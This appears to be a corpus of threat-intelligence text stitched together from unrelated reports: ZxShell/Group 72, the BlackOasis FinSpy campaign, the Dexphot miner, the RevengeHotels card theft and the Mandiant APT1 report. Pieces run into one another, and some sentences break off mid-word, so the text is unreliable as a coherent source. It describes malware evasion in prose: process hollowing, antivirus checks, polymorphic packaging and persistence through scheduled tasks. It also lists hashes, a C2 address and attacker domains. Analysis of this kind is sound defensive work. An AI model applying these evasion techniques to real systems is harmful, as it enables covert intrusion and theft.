 1985 is the default port for the malware , 1986 is the lazy variation of that port .
Port 80 and 443 are the default ports for HTTP and HTTPS traffic .
The next most common is port 53 .
This is used in some of the newer 3.22 and 3.39 samples .
After that , the count for each port starts declining sharply .
The choices are interesting though , many correspond to what looks like the birth year of the controller ( ie .
 years in the late 1980s and early 1990s ) , and others seem to match what year the malware was launched in ( ie .
 in the 2000s , relatively close to the current year ) .
Since this malware dates back to around 2004 , there are many samples containing CNC URLs from the 3322.org page .
This page used to offer no-ip type hosting and was widely used by malware authors .
So much so that Microsoft did a takedown in 2012 .
A similar service , vicp.net , is also seen in many of the domains .
In the malware , if a domain is configured , it will retrieve domain.tld /This file contains a list of IP addresses for the infected machine to connect back to .
Otherwise , if an IP address is configured , it will connect directly to that IP address .
We have written a simple C++ ZxShell Server that implements the communication and the handshake for the version 3.10 and 3.20 of the ZxShell DLL .
The implementation is quite simple : After the handshake , 2 threads that deal with data transfer are spawned .
Advanced persistent threats will remain a problem for companies and organizations of all sizes , especially those with high financial or intellectual property value .
Group 72 ’s involvement in Operation SMN is another example of what sort of damage that can be done if organizations are not diligent in their efforts to secure their networks .
ZxShell is one sample amongst several tools that Group 72 used within their campaign .
ZxShell is a sophisticated tool employed by Group 72 that contains all kinds of functionality .
Its detection and removal can be difficult due to the various techniques used to conceal its presence , such as disabling the host anti-virus , masking its installation on a system with a valid service name , and by masking outbound traffic as originating from a web browser .
While other techniques are also utilized to conceal and inhibit its removal , ZxShell ’s primary functionality is to act as a Remote Administration Tool ( RAT ) , allowing the threat actor to have continuous backdoor access on to the compromised machine .
As our analysis demonstrates , ZxShell is an effective tool that can be ultimately used to steal user credentials and other highly valuable information .
The threat posed by ZxShell to organizations is one that cannot be ignored .
Organizations with high financial or intellectual property value should take the time to ensure their security requirements are met and that employee ’s are educated about the security threats their organizations face .
Threat Spotlight : Group 72 , Opening the ZxShell .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
The incident , as described by security researchers with Moscow-based cybersecurity firm Kaspersky Lab , shines a rare light on the opaque although apparently vibrant market for software exploits and spyware , which in this case appears to have been purchased by a nation-state .
The Middle Eastern hacker group in this case is codenamed “ BlackOasis .
 ” Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of “ FinSpy ” malware , according to a new blog post published Monday .
Adobe issued a fix Monday to its users in the form of a software update .
FinSpy , a final-stage payload that allows for an attacker to covertly learn what a target is talking about and who they are communicating with , is associated with Gamma Group — which goes by other names , including FinFisher and Lench IT Solutions .
BlackOasis in recent months sent a wave of phishing emails .
These emails contained malicious Microsoft Word documents with the aforementioned Flash Player zero-day hidden inside an embedded ActiveX object .
In the past , BlackOasis messages were designed to appear like news articles from 2016 about political relations between Angola and China .
The term zero-day is indicative of a software flaw that remains unknown to the software ’s creator .
Zero-days can be highly disruptive because they provide a window of time for an attacker to breach victims before the vendor is able to apply a software update to address the specific security hole .
U.S .
 cybersecurity firm FireEye also recently captured BlackOasis activity as part of a similar incident where the group relied on a different zero-day exploit — more specifically , a SOAPcode injection vulnerability — to install FinSpy onto a small number of devices .
Again , the attacker ’s intention appeared to be espionage .
 “ Unlike other FinFisher customers or users who focus mostly on domestic operations , BlackOasis focuses on external operations and go after a wide range of targets around the world , ” explained Costin Raiu , director of the global research and analysis team at Kaspersky Lab .
Gamma Group has been accused of selling its products to authoritarian regimes that can use the technology to both track dissidents and conduct foreign espionage over the internet .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
It ’s unclear whether the hackers are purchasing the exploits and spyware together , directly from Gamma Group , or if they were able to acquire some of the tools through other avenues .
 “ BlackOasis ’ interests span a wide gamut of figures involved in Middle Eastern politics and verticals disproportionately relevant to the region .
This includes prominent figures in the United Nations , opposition bloggers and activists , and regional news correspondents , ” a blogpost about Kaspersky ’s findings reads .
The post continues , “ during 2016 , we observed a heavy interest in Angola , exemplified by lure documents indicating targets with suspected ties to oil , money laundering , and other illicit activities .
There is also an interest in international activists and think tanks … Victims of BlackOasis have been observed in the following countries : Russia , Iraq , Afghanistan , Nigeria , Libya , Jordan , Tunisia , Saudi Arabia , Iran , Netherlands , Bahrain , United Kingdom and Angola .
 ”Intent was clearly espionage in many cases , going outside of that "lawful surveillance" boundary.— Brian Bartholomew ( @Mao_Ware ) October 16, 2017 Brian Bartholomew , a senior security researcher with Kaspersky , said on Twitter that BlackOasis ’ espionage included non-traditional targets — “ going outside of that lawful surveillance boundary. ”An advanced persistent threat group , previously identified by Microsoft and codenamed Neodymium , is closely associated with BlackOasis ’ operations .
Last year , Microsoft researchers described Neodymium ’s behavior as unusual : “ unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
These activity groups are also unusual in that they use the same zero-day exploit to launch attacks at around the same time in the same region .
Their targets , however , appear to be individuals that do not share common affiliations. ”A cursory review of BlackOasis ’ espionage campaign suggests there is some overlap between the group ’s actions and Saudi Arabia ’s geopolitical interests .
For example , the targeting of Angolan organizations in mid-2016 coincidences directly with the rise of Angola ’s oil business with China , which displaced Saudi Arabia as the number one exporter of crude oil to China at the time .
All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ways : economically ; from a national security perspective ; or due to established policy agreements .
In addition , Saudi Arabia is a known customer of spyware and has used the technology domestically , according to Citizen Lab , a cybersecurity and human-rights focused research laboratory .
Kaspersky ’s research notes that BlackOasis hacked into computers based in Saudi Arabia .
Insights from one year of tracking a polymorphic threat .
A little over a year ago , in October 2018 , our polymorphic outbreak monitoring system detected a large surge in reports , indicating that a large-scale campaign was unfolding .
We observed as the new threat attempted to deploy files that changed every 20-30 minutes on thousands of devices .
We gave the threat the name “ Dexphot , ” based on certain characteristics of the malware code .
The Dexphot attack used a variety of sophisticated methods to evade security solutions .
Layers of obfuscation , encryption , and the use of randomized file names hid the installation process .
Dexphot then used fileless techniques to run malicious code directly in memory , leaving only a few traces that can be used for forensics .
It hijacked legitimate system processes to disguise malicious activity .
If not stopped , Dexphot ultimately ran a cryptocurrency miner on the device , with monitoring services and scheduled tasks triggering re-infection when defenders attempt to remove the malware .
In the months that followed , we closely tracked the threat and witnessed the attackers upgrade the malware , target new processes , and work around defensive measures .
While Microsoft Defender Advanced Threat Protection ’s pre-execution detection engines blocked Dexphot in most cases , behavior-based machine learning models provided protection for cases where the threat slipped through .
Given the threat ’s persistence mechanisms , polymorphism , and use of fileless techniques , behavior-based detection was a critical component of the comprehensive protection against this malware and other threats that exhibit similar malicious behaviors .
Microsoft Defender ATP data shows the effectiveness of behavioral blocking and containment capabilities in stopping the Dexphot campaign .
Over time , Dexphot-related malicious behavior reports dropped to a low hum , as the threat lost steam .
Our close monitoring of Dexphot helped us ensure that our customers were protected from the evolving threat .
More importantly , one year ’s worth of intelligence helped us gain insight not only into the goals and motivations of Dexphot ’s authors , but of cybercriminals in general .
The early stages of a Dexphot infection involves numerous files and processes .
During the execution stage , Dexphot writes five key files to disk :1 、An installer with two URLs ;2 、An MSI package file downloaded from one of the URLs ;3 、A password-protected ZIP archive ;4 、A loader DLL , which is extracted from the archive ;5 、An encrypted data file that holds three additional executables that are loaded into system processes via process hollowing .
Except for the installer , the other processes that run during execution are legitimate system processes .
This can make detection and remediation more difficult .
These legitimate system processes include msiexec.exe ( for installing MSI packages ) , unzIP .
exe ( for extracting files from the password-protected ZIP archive ) , rundll32.exe ( for loading the loader DLL ) , schtasks.exe ( for scheduled tasks ) , powershell.exe ( for forced updates ) .
In later stages , Dexphot targets a few other system processes for process hollowing : svchost.exe , tracert.exe , and setup.exe .
Based on Microsoft Defender ATP signals , SoftwareBundler : Win32/ICLoader and its variants are primarily used to drop and run theThe installer uses two URLs to download malicious payloads .
These are the same two URLs that Dexphot use later to establish persistence , update the malware , and re-infect the device .
The installer downloads an MSI package from one of the two URLs , and then launches msiexec.exe to perform a silent install .
This is the first of several instances of Dexphot employing living-off-the-land techniques , the use of legitimate system processes for nefarious purposes .
Dexphot ’s package often contains an obfuscated batch script .
If the package contains this file , the script is the first thing that msiexec.exe runs when it begins the installation process .
The said obfuscated script is designed to check for antivirus products .
Dexphot halts the infection process immediately if an antivirus product is found running .
When we first began our research , the batch script only checked for antivirus products from Avast and AVG .
Later , Windows Defender Antivirus was added to the checklist .
If the process is not halted , Dexphot decompresses the password-protected ZIP archive from the MSI package .
The password to this archive is within the MSI package .
Along with the password , the malware ’s authors also include a clean version of unzIP .
exe so that they do n’t have to rely on the target system having a ZIP utility .
The unzIP .
exe file in the package is usually named various things , such as z.exe or ex.exe , to avoid scrutiny .
The ZIP archive usually contains three files : the loader DLL , an encrypted data file ( usually named bin.dat ) , and , often , one clean unrelated DLL , which is likely included to mislead detection .
Dexphot usually extracts the decompressed files to the target system ’s Favorites folder .
The files are given new , random names , which are generated by concatenating words and numbers based on the time of execution ( for example , C:\Users\<user>\Favorites\\Res.Center.ponse\<numbers> ) .
Msiexec.exe next calls rundll32.exe , specifying loader( urlmon.7z in the example above ) in order to decrypt the data file .
The decryption process involves ADD and XOR operations , using a key hardcoded in the binary .
The decrypted data contains three executables .
Unlike the files described earlier , these executables are never written to the filesystem .
Instead , they exist only in memory , and Dexphot runs them by loading them into other system processes via process hollowing .
Process hollowing is a technique that can hide malware within a legitimate system process .
It replaces the contents of the legitimate process with malicious code .
Detecting malicious code hidden using this method is not trivial , so process hollowing has become a prevalent technique used by malware today .
This method has the additional benefit of being fileless : the code can be run without actually being saved on the file system .
Not only is it harder to detect the malicious code while it ’s running , it ’s harder to find useful forensics after the process has stopped .
To initiate process hollowing , the loadertargets two legitimate system processes , for example svchost.exe or nslookup.exe , and spawns them in a suspended state .
replaces the contents of these processes with the first and second decrypted executables .
These executables are monitoring services for maintaining Dexphot ’s components .
The now-malicious processes are released from suspension and run .
Next , the loadertargets the setup.exe file in SysWoW64 .
It removes setup.exe ’s contents and replaces them with the third decrypted executable , a cryptocurrency miner .
Although Dexphot always uses a cryptocurrency miner of some kind , it ’s not always the same miner .
It used different programs like XMRig and JCE Miner over the course of our research .
The two monitoring services simultaneously check the status of all three malicious processes .
Having dual monitoring services provides redundancy in case one of the monitoring processes is halted .
If any of the processes are terminated , the monitors immediately identify the situation , terminate all remaining malicious processes , and re-infect the device .
The monitoring components also detect freshly launched cmd.exe processes and terminate them promptly .
As a final fail-safe , Dexphot uses schtasks.exe to create scheduled tasks .
This persistence technique is interesting , because it employs two distinct MITRE ATT&CK techniques : Scheduled Task and Signed Binary Proxy Execution .
The scheduled tasks call msiexec.exe as a proxy to run the malicious code , much like how msiexec.exe was used during installation .
Using msiexec.exe , a legitimate system process , can make it harder to trace the source of malicious activity .
Furthermore , the tasks allow Dexphot to conveniently update the payload from the web every time the tasks run .
They automatically update all of Dexphot ’s components , both upon system reboot as well as every 90 or 110 minutes while the system is running .
Dexphot also generates the names for the tasks at runtime , which means a simple block list of hardcoded task names will not be effective in preventing them from running .
The names are usually in a GUID format , although after we released our first round of Dexphot-blocking protections , the threat authors began to use random strings .
The threat authors have one more evasion technique for these scheduled tasks : some Dexphot variants copy msiexec.exe to an arbitrary location and give it a random name , such as %AppData%\<random>.exe .
This makes the system process running malicious code a literal moving target .
Dexphot exhibits multiple layers of polymorphism across the binaries it distributes .
For example , the MSI package used in the campaign contains different files , as shown in the table below .
The MSI packages generally include a clean version of unzIP .
exe , a password-protected ZIP file , and a batch file that checks for currently installed antivirus products .
However , the batch file is not always present , and the names of the ZIP files and Loader DLLs , as well as the password for extracting the ZIP file , all change from one package to the next .
In addition , the contents of each Loaderdiffers from package to package , as does the encrypted data included in the ZIP file .
This leads to the generation of a different ZIP archive and , in turn , a unique MSI package , each time the attacker bundles the files together .
Because of these carefully designed layers of polymorphism , a traditional file-based detection approach wouldn’t be effective against Dexphot .
Besides tracking the files and processes that Dexphot uses to execute an attack , we have also been monitoring the domains used to host malicious payloads .
The URLs used for hosting all follow a similar pattern .
The domain address usually ends in a .info or .net TLD , while the file name for the actual payload consists of random characters , similar to the randomness previously seen being used to generate file names and scheduled tasks .
Many of the URLs listed were in use for an extended period .
However , the MSI packages hosted at each URL are frequently changed or updated .
In addition , every few days more domains are generated to host more payloads .
After a few months of monitoring , we were able to identify around 200 unique Dexphot domains .
Dexphot is not the type of attack that generates mainstream media attention ; it ’s one of the countless malware campaigns that are active at any given time .
Its goal is a very common one in cybercriminal circles — to install a coin miner that silently steals computer resources and generates revenue for the attackers — yet Dexphot exemplifies the level of complexity and rate of evolution of even everyday threats , intent on evading protections and motivated to fly under the radar for the prospect of profit .
To combat threats , several next-generation protection engines in Microsoft Defender Advanced Threat Protection ’s antivirus component detect and stop malicious techniques at multiple points along the attack chain .
For Dexphot , machine learning-based detections in the cloud recognize and block the DLLs loaded by rundll32.exe , stopping the attack chain in its early stages .
Memory scans detect and terminate the loading of malicious code hidden by process hollowing — including the monitoring processes that attempt to update the malware code and re-infect the machine via PowerShell commands .
Behavioral blocking and containment capabilities are especially effective in defeating Dexphot ’s fileless techniques , detection evasion , and persistence mechanisms , including the periodic and boot-time attempts to update the malware via scheduled tasks .
As mentioned , given the complexity of the attack chain and of Dexphot ’s persistence methods , we released a remediation solution that prevents re-infection by removing artifacts .
The detection , blocking , and remediation of Dexphot on endpoints are exposed in Microsoft Defender Security Center , where Microsoft Defender ATP ’s rich capabilities like endpoint detection and response , automated investigation and remediation , and others enable security operations teams to investigate and remediate attacks in enterprise environments .
With these capabilities , Microsoft Defender ATP provides comprehensive protection against Dexphot and the countless other complex and evolving threats that we face every day .
Dexphot : 72acaf9ff8a43c68416884a3fff3b23e749b4bb8fb39e16f9976643360ed391f .
Dexphot : 22beffb61cbdc2e0c3eefaf068b498b63a193b239500dab25d03790c467379e3 .
Dexphot : 65eac7f9b67ff69cefed288f563b4d77917c94c410c6c6c4e4390db66305ca2a .
Dexphot : ba9467e0d63ba65bf10650a3c8d36cd292b3f846983032a44a835e5966bc7e88 .
Dexphot : 537d7fe3b426827e40bbdd1d127ddb59effe1e9b3c160804df8922f92e0b366e .
Dexphot : 504cc403e0b83233f8d20c0c86b0611facc040b868964b4afbda3214a2c8e1c5 .
Dexphot : aa5c56fe01af091f07c56ac7cbd240948ea6482b6146e0d3848d450977dff152 .
RevengeHotels : cybercrime targeting hotel front desks worldwide .
RevengeHotels is a targeted cybercrime malware campaign against hotels , hostels , hospitality and tourism companies , mainly , but not exclusively , located in Brazil .
We have confirmed more than 20 hotels that are victims of the group , located in eight states in Brazil , but also in other countries such as Argentina , Bolivia , Chile , Costa Rica , France , Italy , Mexico , Portugal , Spain , Thailand and Turkey .
The goal of the campaign is to capture credit card data from guests and travelers stored in hotel systems , as well as credit card data received from popular online travel agencies ( OTAs ) such as Booking.com .
The main attack vector is via email with crafted Word , Excel or PDF documents attached .
Some of them exploit CVE-2017-0199 , loading it using VBS and PowerShell scripts and then installing customized versions of RevengeRAT , NjRAT , NanoCoreRAT , 888 RAT and other custom malware such as ProCC in the victim ’s machine .
The group has been active since 2015 , but increased its attacks in 2019 .
In our research , we were also able to track two groups targeting the hospitality sector , using separate but similar infrastructure , tools and techniques .
PaloAlto has already written about one of them .
We named the first group RevengeHotels , and the second ProCC .
These groups use a lot of social engineering in their attacks , asking for a quote from what appears to be a government entity or private company wanting to make a reservation for a large number of people .
Their infrastructure also relies on the use of dynamic DNS services pointing to commercial hosting and self-hosted servers .
They also sell credentials from the affected systems , allowing other cybercriminals to have remote access to hotel front desks infected by the campaign .
We monitored the activities of these groups and the new malware they are creating for over a year .
With a high degree of confidence , we can confirm that at least two distinct groups are focused on attacking this sector ; there is also a third group , though it is unclear if its focus is solely on this sector or if carries out other types of attacks .
One of the tactics used in operations by these groups is highly targeted spear-phishing messages .
They register typo-squatting domains , impersonating legitimate companies .
The emails are well written , with an abundance of detail .
They explain why the company has chosen to book that particular hotel .
By checking the sender information , it ’s possible to determine whether the company actually exists .
However , there is a small difference between the domain used to send the email and the real one .
This spear-phishing message , written in Portuguese , has a malicious file attached misusing the name of a real attorney office , while the domain sender of the message was registered one day before , using a typo-squatting domain .
The group goes further in its social engineering effort : to convince the hotel personnel about the legitimacy of their request , a copy of the National Registry of Legal Entities card ( CNPJ ) is attached to the quotation .
The attached file , Reserva Advogados Associados.docx ( Attorneys Associates Reservation.docx ) , is a malicious Word file that drops a remote OLE object via template injection to execute macro code .
The macro code inside the remote OLE document contains PowerShell commands that download and execute the final payload .
In the RevengeHotels campaign , the downloaded files are .NET binaries protected with the Yoda Obfuscator .
After unpacking them , the code is recognizable as the commercial RAT RevengeRAT .
An additional module written by the group called ScreenBooking is used to capture credit card data .
It monitors whether the user is browsing the web page .
In the initial versions , back in 2016 , the downloaded files from RevengeHotels campaigns were divided into two modules : a backdoor and a module to capture screenshots .
Recently we noticed that these modules had been merged into a single backdoor module able to collect data from clipboard and capture screenshots .
In this example , the webpage that the attacker is monitoring is booking.com ( more specifically , the page containing the card details ) .
The code is specifically looking for data in Portuguese and English , allowing the attackers to steal credit card data from web pages written in these languages .
In the ProCC campaigns , the downloaded files are Delphi binaries .
The backdoor installed in the machine is more customized than that used by RevengeHotels : it ’s developed from scratch and is able to collect data from the clipboard and printer spooler , and capture screenshots .
Because the personnel in charge of confirming reservations usually need to pull credit card data from OTA websites , it ’s possible to collect card numbers by monitoring the clipboard and the documents sent to the printer .
According to the relevant underground forums and messaging groups , these criminals also infect front desk machines in order to capture credentials from the hotel administration software ; they can then steal credit card details from it too .
Some criminals also sell remote access to these systems , acting as a concierge for other cybercriminals by giving them permanent access to steal new data by themselves .
Some Brazilian criminals tout credit card data extracted from a hotel ’s system as high quality and reliable because it was extracted from a trusted source , i.e. , a hotel administration system .
The majority of the victims are associated with the hospitality sector .
Based on the routines used , we estimate that this attack has a global reach .
Based on data extracted from Bit.ly statistics , we can see that potential victims from many other countries have at least accessed the malicious link .
This data suggests that the number of countries with potential victims is higher than our telemetry has registered .
RevengeHotels is a campaign that has been active since at least 2015 , revealing different groups using traditional RAT malware to infect businesses in the hospitality sector .
While there is a marked interest in Brazilian victims , our telemetry shows that their reach has extended to other countries in Latin America and beyond .
The use of spear-phishing emails , malicious documents and RAT malware is yielding significant results for at least two groups we have identified in this campaign .
Other threat actors may also be part of this wave of attacks , though there is no confirmation at the current time .
If you want to be a savvy and safe traveler , it ’s highly recommended to use a virtual payment card for reservations made via OTAs , as these cards normally expire after one charge .
While paying for your reservation or checking out at a hotel , it ’s a good idea to use a virtual wallet such as Apple Pay , Google Pay , etc .
RevengeHotels : 74440d5d0e6ae9b9a03d06dd61718f66 .
RevengeHotels : e675bdf6557350a02f15c14f386fcc47 .
RevengeHotels : df632e25c32e8f8ad75ed3c50dd1cd47 .
RevengeHotels : a089efd7dd9180f9b726594bb6cf81ae .
RevengeHotels : 81701c891a1766c51c74bcfaf285854b .
Since 2004 , Mandiant has investigated computer security breaches at hundreds of organizations around the world.The majority of these security breaches are attributed to advanced threat actors referred to as the “ Advanced Persistent Threat ” ( APT ) .
We first published details about the APT in our January 2010 M-Trends report .
As we stated in there port , our position was that “ The Chinese government may authorize this activity , but there ’s no way to determine the extent of its involvement. ” Now , three years later , we have the evidence required to change our assessment .
The details we have analyzed during hundreds of investigations convince us that the groups conducting these activities are based primarily in China and that the Chinese Government is aware of them .
Mandiant continues to track dozens of APT groups around the world ; however , this report is focused on the most prolific of these groups .
We refer to this group as “ APT1 ” and it is one of more than 20 APT groups with origins inChina .
APT1 is a single organization of operators that has conducted a cyber espionage campaign against a broad range of victims since at least 2006 .
From our observations , it is one of the most prolific cyber espionage groups in terms of the sheer quantity of information stolen .
The scale and impact of APT1 ’s operations compelled us to write this report .
The activity we have directly observed likely represents only a small fraction of the cyber espionage that APT1 has conducted .
Though our visibility of APT1 ’s activities is incomplete , we have analyzed the group ’s intrusions against nearly 150 victims over seven years .
From our unique vantage point responding to victims , we tracked APT1 back to four large networks in Shanghai , two of which are allocated directly to the Pudong New Area .
We uncovered a substantial amount of APT1 ’s attack infrastructure , command and control , and modus operandi ( tools , tactics , and procedures ) .
In an effort to underscore there are actual individuals behind the keyboard , Mandiant is revealing three personas we have attributed to APT1 .
These operators , like soldiers , may merely be following orders given to them by others .
Our analysis has led us to conclude that APT1 is likely government-sponsored and one of the most persistent of China ’s cyber threat actors .
We believe that APT1 is able to wage such a long-running and extensive cyber espionage campaign in large part because it receives direct government support .
In seeking to identify the organization behind this activity ,our research found that People ’s Liberation Army ( PLA ’s ) Unit 61398 is similar to APT1 in its mission , capabilities , and resources .
PLA Unit 61398 is also located in precisely the same area from which APT1 activity appears to originate .
APT1 is believed to be the 2nd Bureau of the People ’s Liberation Army ( PLA ) General Staff Department ’s ( GSD ) 3rd Department , which is most commonly known by its Military Unit Cover Designator ( MUCD ) as Unit 61398 .
The nature of “ Unit 61398 ’s ” work is considered by China to be a state secret ; however , we believe it engages in harmful “ Computer Network Operations. ” Unit 61398 is partially situated on Datong Road in Gaoqiaozhen , which is located in the Pudong New Area of Shanghai .
The central building in this compound is a 130,663 square foot facility that is 12 stories high and was built in early 2007 .
APT1 has systematically stolen hundreds of terabytes of data from at least 141 organizations , and has demonstrated the capability and intent to steal from dozens of organizations simultaneously .
Since 2006 , Mandiant has observed APT1 compromise 141 companies spanning 20 major industries .
APT1 has a well-defined attack methodology , honed over years and designed to steal large volumes of valuable intellectual property .
Once APT1 has established access , they periodically revisit the victim ’s network over several months or years and steal broad categories of intellectual property , including technology blueprints , proprietary manufacturing processes , test results , business plans , pricing documents , partnership agreements , and emails and contact lists from victim organizations ’ leadership .
APT1 uses some tools and techniques that we have not yet observed being used by other groups including two utilities designed to steal email — GETMAIL and MAPIGET .
Establishing a foothold involves actions that ensure control of the target network ’s systems from outside the network .
APT1 establishes a foothold once email recipients open a malicious file and a backdoor is subsequently installed .
A backdoor is software that allows an intruder to send commands to the system remotely .
In almost every case , APT backdoors initiate outbound connections to the intruder ’s “ command and control ” ( C2 ) server .
APT intruders employ this tactic because while network firewalls are generally adept at keeping malware outside the network from initiating communication with systems inside the network , they are less reliable at keeping malware that is already inside the network from communicating to systems outside .
While APT1 intruders occasionally use publicly available backdoors such as Poison Ivy and Gh0st RAT , the vast majority of the time they use what appear to be their own custom backdoors .
We will describe APT1 ’s backdoors in two categories : “ Beachhead Backdoors ” and “ Standard Backdoors. ”Beachhead backdoors are typically minimally featured .
They offer the attacker a toe-hold to perform simple tasks like retrieve files , gather basic system information and trigger the execution of other more significant capabilities such as a standard backdoor .
APT1 ’s beachhead backdoors are usually what we call WEBC2 backdoors .
WEBC2 backdoors are probably the most well-known kind of APT1 backdoor , and are the reason why some security companies refer to APT1 as the “ Comment Crew. ” A WEBC2 backdoor is designed to retrieve a webpage from a C2 server .
It expects the webpage to contain special HTML tags ; the backdoor will attempt to interpret the data between the tags as commands .
Older versions of WEBC2 read data between HTML comments , though over time WEBC2 variants have evolved to read data contained within other types of tags .
From direct observation , we can confirm that APT1 was using WEBC2 backdoors as early as July 2006 .
However , the first compile time35 we have for WEBC2 is 2004-01-23 , suggesting that APT1 has been crafting WEBC2 backdoors since early 2004 .
Based on the 400+ samples of WEBC2 variants that we have accumulated , it appears that APT1 has direct access to developers who have continually released new WEBC2 variants for over six years .
WEBC2 backdoors are often packaged with spear phishing emails .
Once installed , APT1 intruders have the option to tell victim systems to download and execute additional malicious software of their choice .
WEBC2 backdoors work for their intended purpose , but they generally have fewer features than the “ Standard Backdoors ” described below .
The standard , non-WEBC2 APT1 backdoor typically communicates using the HTTP protocol ( to blend in with legitimate web traffic ) or a custom protocol that the malware authors designed themselves .
These backdoors give APT intruders a laundry list of ways to control victim systems .
The BISCUIT backdoor ( so named for the command “ bdkzt ” ) is an illustrative example of the range of commands that APT1 has built into its “ standard ” backdoors .
APT1 has used and steadily modified BISCUIT since as early as 2007 and continues to use it presently .
Some APT backdoors attempt to mimic legitimate Internet traffic other than the HTTP protocol .
When network defenders see the communications between these backdoors and their C2 servers , they might easily dismiss them as legitimate network traffic .
APT1 maintains an extensive infrastructure of computers around the world .
We have evidence suggesting that APT1 manually controls thousands of systems in support of their attacks , and have directly observed their control over hundreds of these systems .
Although they control systems in dozens of countries , their attacks originate from four large networks in Shanghai — two of which are allocated directly to the Pudong New Area , the home of Unit 61398 .
The sheer number of APT1 IP addresses concentrated in these Shanghai ranges , coupled with Simplified Chinese keyboard layout settings on APT1 ’s attack systems , betrays the true location and language of the operators .
To help manage the vast number of systems they control , APT1 has registered hundreds of domain names , the majority of which also point to a Shanghai locale .
The domain names and IP addresses together comprise APT1 ’s command and control framework which they manage in concert to camouflage their true origin from their English speaking targets .
As covered in the previous “ Attack Lifecycle ” section , WEBC2 backdoor variants download and interpret data stored between tags in HTML pages as commands .
They usually download HTML pages from a system within APT1 ’s hop infrastructure .
We have observed APT1 intruders logging in to WEBC2 servers and manually editing the HTML pages that backdoors will download .
Because the commands are usually encoded and difficult to spell from memory , APT1 intruders typically do not type these strings , but instead copy and paste them into the HTML files .
They likely generate the encoded commands on their own systems before pasting them in to an HTML file hosted by the hop point .
For example , we observed an APT attacker pasting the string “ czo1NA== ” into an HTML page .
That string is the base64 encoded version of “ s : 54 ” , meaning “ sleep for 54 minutes ” ( or hours , depending on the particular backdoor ) .
In lieu of manually editing an HTML file on a hop point , we have also observed APT1 intruders uploading new ( already-edited ) HTML files .
When APT1 attackers are not using WEBC2 , they require a “ command and control ” ( C2 ) user interface so they can issue commands to the backdoor .
This interface sometimes runs on their personal attack system , which is typically in Shanghai .
In these instances , when a victim backdoor makes contact with a hop , the communications need to be forwarded from the hop to the intruder ’s Shanghai system so the backdoor can talk to the C2 server software .
We have observed 767 separate instances in which APT1 intruders used the publicly available “ HUC Packet Transmit Tool ” or HTRAN on a hop .
As always , keep in mind that these uses are confirmed uses , and likely represent only a small fraction of APT1 ’s total activity .
The HTRAN utility is merely a middle-man , facilitating connections between the victim and the attacker who is using the hop point .
Typical use of HTRAN is fairly simple : the attacker must specify the originating IP address ( of his or her workstation in Shanghai ) , and a port on which to accept connections .
For example , the following command , which was issued by an APT1 actor , will listen for incoming connections on port 443 on the hop and automatically proxy them to the Shanghai IP address 58.247.242.254 on port 443 .
Occasionally , APT1 attackers have installed C2 server components on systems in their hop infrastructure rather than forwarding connections back to C2 servers in Shanghai .
In these instances they do not need to use a proxy tool like HTRAN to interact with victim systems .
However , it does mean that the intruders need to be able to interface with the ( often graphical ) C2 server software running on the hop .
We have observed APT1 intruders log in to their hop point , start the C2 server , wait for incoming connections , and then proceed to give commands to victim systems .
WEBC2 variants may include a server component that provides a simple C2 interface to the intruder .
This saves the intruder from having to manually edit webpages .
That is , this server component receives connections from victim backdoors , displays them to the intruder , and then translates the intruder ’s commands into HTML tags that the victim backdoors read .
In the last two years alone , we have confirmed 937 APT1 C2 servers — that is , actively listening or communicating programs — running on 849 distinct IP addresses .
However , we have evidence to suggest that APT1 is running hundreds , and likely thousands , of other servers ( see the Domains section below ) .
The programs acting as APT1 servers have mainly been : FTP , for transferring files ; web , primarily for WEBC2 ; RDP , for remote graphical control of a system ; HTRAN , for proxying ; and C2 servers associated with various backdoor families .
The Domain Name System ( DNS ) is the phone book of the Internet .
In the same way that people program named contacts into their cell phones and no longer need to remember phone numbers , DNS allows people to remember names like “ google.com ” instead of IP addresses .
When a person types “ google.com ” into a web browser , a DNS translation to an IP address occurs so that the person ’s computer can communicate with Google .
Names that can be translated through DNS to IP addresses are referred to as Fully Qualified Domain Names ( FQDNs ) .
A DNS zone represents a collection of FQDNs that end with the same name , and which are usually registered through a domain registration company and controlled by a single owner .
For example , “ hugesoft.org ” is an FQDN but also represents a zone .
The FQDNs “ ug-co.hugesoft.org ” and “ 7cback.hugesoft.org ” are part of the “ hugesoft.org ” zone and are called “ subdomains ” of the zone .
The person who registered “ hugesoft.org ” may add as many subdomains as they wish and controls the IP resolutions of these FQDNs .
APT1 has registered at least 107 zones since 2004 .
Within these zones , we know of thousands of FQDNs that have resolved to hundreds of IP addresses ( which we suspect are hops ) and in some instances to APT1 ’s source IP addresses in Shanghai .
The first zone we became aware of was “ hugesoft.org ” , which was registered through eNom , Inc. in October 2004 .
The registrant supplied “ uglygorilla@163.com ” as an email address .
The supplied registration information , which is still visible in public “ whois ” data as of February 3, 2013 .
The supplied registrant information does not need to be accurate for the zone to be registered successfully .
For example , “ shanghai ” is not a street name .
Nevertheless , it is noteworthy that Shanghai appeared in the first known APT1 domain registration , along with a phone number that begins with China ’s “ +86 ” international code .
In fact , Shanghai was listed as the registrant ’s city in at least 24 of the 107 ( 22% ) registrations .
Overall , the combination of a relatively high number of “ Shanghai ” registrations with obviously false registration examples in other registrations suggests a partially uncoordinated domain registration campaign from 2004 until present , in which some registrants tried to fabricate non-Shanghai locations but others did not .
This is supported by contextual information on the Internet for the email address “ lfengg@163.com , ” which was supplied in the registration information for seven of the 107 zones .
On the site “ www.china-one.org , ” the email address “ lfengg@163.com ” appears as the contact for the Shanghai Kai Optical Information Technology Co. , Ltd. , a website production company located in a part of Shanghai that is across the river from PLA Unit 61398 .
About half of APT1 ’s known zones were named according to three themes : news , technology and business .
These themes cause APT1 command and control addresses to appear benign at first glance .
However , we believe that the hundreds of FQDNs within these zones were created for the purpose of APT1 intrusions .
 ( Note : these themes are not unique to APT1 or even APT in general .
 ) The news-themed zones include the names of well-known news media outlets such as CNN , Yahoo and Reuters .
However , they also include names referencing English-speaking countries , such as “ aunewsonline.com ” ( Australia ) , “ canadatvsite.com ” ( Canada ) , and “ todayusa.org ” ( U.S .
 ) .
